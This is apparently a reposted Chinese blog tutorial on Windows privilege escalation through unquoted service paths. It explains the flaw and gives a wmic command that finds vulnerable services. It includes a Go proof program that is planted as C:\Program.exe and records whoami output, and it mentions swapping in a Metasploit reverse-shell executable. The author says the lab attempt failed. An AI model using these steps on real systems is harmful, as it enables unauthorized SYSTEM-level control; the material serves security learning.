【WINDOWS提权】不带引号的服务路径提权——也比较鸡肋,需要安装后门替换服务后重启系统,你的后门服务才会起来,因为服务启动权限高,所以可以提权
【WINDOWS提权】不带引号的服务路径提权
from:https://www.freesion.com/article/68201384168/
一、漏洞原理
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
漏洞服务下载地址:https://www.exploit-db.com/exploits/40428
路径没有包含在引号中,服务会按照以下顺序依次执行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
二、编译一个可执行程序
要求:
- 运行后执行系统命令whoami
- 在当前目生成一个.txt文件,内容为whoami的执行结果
- 程序命名为program.exe
- 程序执行后自动删除(以免影响正常服务启动)
package main
import (
"fmt"
"io/ioutil"
"log"
"os/exec"
)
func main() {
//cmdOutput, err := exec.Command("python", "whoami").Output()
cmdOutput, err := exec.Command("whoami").Output() // 执行系统命令
if err != nil {
log.Fatal(err)
}
err1 := ioutil.WriteFile("whoami.txt", cmdOutput, 0644)
if err1 != nil {
panic(err)
}
fmt.Printf("%s", cmdOutput)
}
编译:go build -o Program.exe
这里也可以使用MSF生成一个反弹shell的exe
三、漏洞复现
1、将可执行程序上传至靶机Windows2008 R2
2、重启靶机
查看同上传程序的目录下生成的whoami.txt内容中权限是否为system
总结:该实验只是为证明当服务路径不被引号包含时出现的漏洞
- 1、我们上传的Program.exe会被系统执行。
- 2、系统运行Program.exe的权限为system。
注意:很可惜我的实验失败了,重启靶机后系统并没有执行Program.exe,(ps:自己手动执行的)不知道问题出在哪里,这大概就是自学的难点吧,有大佬知道的还请指点小弟一下!!!
参考文章:
https://www.cnblogs.com/persuit/p/5916010.html
https://www.anquanke.com/post/id/85377
https://xz.aliyun.com/t/2606
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/